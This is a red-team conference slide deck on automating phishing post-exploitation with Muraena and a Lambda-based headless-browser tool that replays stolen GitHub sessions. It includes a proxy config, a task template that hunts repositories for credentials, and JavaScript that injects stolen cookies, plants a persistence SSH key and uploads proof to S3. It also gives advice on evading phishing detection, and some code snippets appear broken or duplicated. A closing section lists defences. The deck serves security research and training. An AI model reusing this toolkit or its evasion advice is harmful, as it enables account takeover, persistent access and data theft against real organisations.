Phishing post exploitation at scale
When you obtain too many sessions/credentials
Goal:

Promote efficiency of phishing automation in Red Team campaigns
Share my experience and limits of these exercises
Introduce my solution to run these techniques at scale

Attack strategy presented here is focused on targeting IaaS/SaaS environments.
Success of Red Team campaigns do not necessarily require Domain Admins...

About me: @_Sn0rkY or check your AD environment for a “Tony Micelli” account 😛
Disclaimer

I’m not the original author of Muraena/NecroBrowser, all kudos to Italian malefactors

- Michele Orrù @antisnatchor
- Giuseppe Trotta @Giutro

I’ve been involved with the project since 2019, Doc writer and implementation of NecroBrowser with Lambda function.

Concepts around Muraena to proxify traffic will be not covered in this presentation
Phishing value-adds for attackers

- Still relevant and effective in 2021
- Easy way to steal credentials
  - MFA can be bypassed (if it’s not well implemented)
- Phishing can help to obtain persistence
  - Via a Dropper but also on SaaS services
- Phishing can help for data exfiltration
  - Gdrive, Dropbox, Box, ....
  - Code repository: Github, Gitlab...
Issues around Phishing from an attacker point of view

● Plenty of detections or ways to report phishing are implemented, today.
  ○ Mass phishing can be quickly identified and reported

● Passwords are like underwear so it's changed frequently, right!

● Multi-Factor Authentication (MFA) is being adopted to make password spray ineffective.
  ○ MFA is effective only if U2F/WebAuth are implemented

● What do you do in case you collect more than 100 sessions?
  ○ Have I configure my server with enough resources?
Issues with Phishing from an attacker point of view

- Plenty of detections or ways to report phishing are implemented, today.
  - Mass phishing can be quickly identified and reported

  What if after 1.42 minute I already had what I was looking for?

- Passwords are like underwear so it's changed frequently, right?!

  Do I still need a password in 2021? Is stealing a session is not enough?

- Multi-Factor Authentication (MFA) adoption makes password spray ineffective.
  - MFA is effective only if U2F/WebAuth are implemented

  What if I manage to phish the SSO portal? MFA authentication is only required once!

- What do you do in case you collect more than 100 sessions?
  - Have I configured my server with enough resources?

  Serverless compute service can help me to pwn at scale?
Muraena + NecroBrowser workflow
NecroBrowser vs Pwnppeteer

● NecroBrowser
  ○ Initially NecroBrowser was written in Go and used the CDP library to interface with Chrome
  ○ Today, browser instrumentation microservice written in NodeJS: it uses the Puppeteer library to control instances of Chrome or Firefox in headless and GUI mode.

● NecroBrowser on AWS aka Pwnppeteer
  ○ Nodejs Lambda with Puppeteer library and Chrome
  ○ Step function to chain attacks
  ○ s3 bucket to store proof and exfiltrate data

○ Some advantages of using AWS Lambda
  ■ easy to scale and cost effective
  ■ can be deployed on different countries
Muraena configuration for Pwnppeteer

Just specify your endpoint in your config.toml

```toml
[necrobrowser]
    enabled = true
    endpoint = "https://8eo2gcr4gj.execute-api.us-east-1.amazonaws.com/dev/instrument/ada9f7b8-6e6c-4884-b2a3-ea757c1eb617"
    profile = "./config/pwnppeteer.necro"
```

Fully compatible with instrumentation template:

```json
"name": "InstrumentGithub",
"task": {
    "type": "github",
    "params": {
        "keywords": [
            "password", "certificate", "vpn", "credential", "login", "access", "portal"],
        "sshKey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQGmcG/Kl8N+h2hU6BrRcqfJf+
EUY2EyblEy2szR4bBuvCtNYij3pOjoKvYinHTdnQXjY1Dyfiik2xt3/dLrT/M3vYwPFk6A
vzvmUPdg33SH++EFCo2trpkJbN/wYldFqMYssq2PrlnE8Ey9H4z/aFw5Ih6S3c6m2gyKcCK
30esbGhDlcYK2wv9/2L/Avv0ZK2j7kl4GqEU0szzeE9Ug9q6Xyi1NapUNrmzMoRt6nn8wL
NnF60Bk2hFks5A+Qc6vx5PC4YqAFbJ0JoQ5uL+eW+48Nzhr4cYylKljaHTBCTgzT3J30cqla0d0z
QPHaEFALL/0KtluS36UjQy2y080L_recovery_only"
    },
    "credentials": "%%%CREDSITICS%%",
    "cookies": "%%%COOKIES%%%"
}
```

🚨 Be sure of your JSON syntax 🚨
Pwnppeteer Lambda code snipet

```javascript
//
0 * Payload for Github access
1 * Add a ssh key and take screenshot
2 *
3 =>
4 const { uploadScreenshot } = require('./uploadScreenshot');
5 const chromium = require('chromium-aws-lambda');
6 exports.pwnGitHub = async (stolenLogin, stolenPass, stolenCookies) => {
7   let browser = null;
8   browser = await chromium.puppeteer.launch(
9     args: chromium.args,
10     defaultViewport: chromium.defaultViewport,
11     executablePath: chromium.executablePath,
12     headless: true,
13   );
14   const screenshot = 'github';
15   // const page = browser.newPage()
16   await page.screenshot(screenshot, url); // Specify target url
17   // console.log(url); // console.log(JSON.stringify(cookies));
18   await page.goto('https://github.com/login');
19   await page.goto('https://github.com/settings/ssh/new');
20   await page.click('#public_key_title');
21   await page.keyboard.type('recovery-key');
22   await page.click('#new_key > p > button');
23   const imagePath = "./screenshots/" + new Date().getTime() + '.png';
24   await page.screenshot({ path: imagePath });
25   console.log('SSH key added :p!')
26   // upload screenshot to s3
27   const url = await uploadScreenshot(imagePath, screenshot);
28   // console.log('See screenshot: ' + screenshot)
29   return url;
30 });
```

```javascript
8 const { uploadScreenshot } = require("./uploadScreenshot");
9 const chromium = require('chrome-aws-lambda');
10
11 const page = await browser.newPage();
12 await page.setCookie(...stolenCookies);
13 const cookiesSet = await page.cookies(url);
14 console.log(JSON.stringify(cookiesSet));
15 // Specify target url
16 await page.goto('https://github.com/login');
17 await page.goto('https://github.com/settings/ssh/new');
18 await page.click('#public_key_title');
19 await page.keyboard.type('recovery-key');
20 await page.click('#new_key > p > button');
21 const imagePath = './screenshots/screenshot.png';
22 await page.screenshot({ path: imagePath });
23 console.log('SSH key added :p!')
24 // upload screenshot to s3
25 const url = await uploadScreenshot(imagePath, screenshot);
26 // console.log('See screenshot: ' + screenshot)
27 return url;
28 ```
Use case: Exploiting Github

- Harvest Creds + 2FA token
- Redirect to 2FA Challenge
- Harvest Auth cookies
- Pass Auth cookies + credentials + keysearch + whatever you need
- Lambda function
- Bucket with proof and code dumped
Use case: Exploiting a SSO portal
Lambda handler as Orchestrator

1. First Lambda parse “Necro instrumentation body”
2. Based on the Task.Type, it select appropriate Lambda function
3. The called function can call another Lambda based on the Task.Name[]
4. ...
Demo

Yes, @newsoft code is public 😊

- [https://github.com/muraenateam/pwnppeteer](https://github.com/muraenateam/pwnppeteer)
- Serverless framework used to deploy AWS Lambdas
- Github example provided as a template
- SSO orchestration was purposely left out of this exercise, but feel free to reach out 😜
Advices

- **Recon phase:**
  - From the DNS record, identify one SaaS product used and try to log-in with an email address
  - Check media coverage, marketing, Twitter, Press Release… Pretext close to internal project help to redirect to SSO portal

- **Preparation phase:**
  - Always configure several domains and be ready to change them quickly during the campaign.
    - Take care of Domains’ age, reputation and similarity
    - Certificate Authority reputation
  - Consider using Content Delivery Network (CDN) to host Muraena proxy
  - Deploy your lambdas in the same country where your target is based

- **Post Exploitation phase:**
  - Monitor your campaign and log all your actions; especially if you add token/ssh/key ...
  - Good luck with Gmail crawling
Recommendations to limit such attacks

- Use MFA and implement U2F/WebAuth
  - Mutual client-server authentication can help
  - Physical tokens
  - Windows Hello seems interesting and could be a real challenge for attackers in future
- Review and rotate API tokens
- When phishing is reported on an SSO provider, disconnect all sessions, password resets are not sufficient

Please don’t blame users !!

Security definitely introduces constraints, but we have to explain them to users for them to accept...
Questions?

Thanks to:

- SSTIC orga team
- Muraena team
- SecOps Boludos team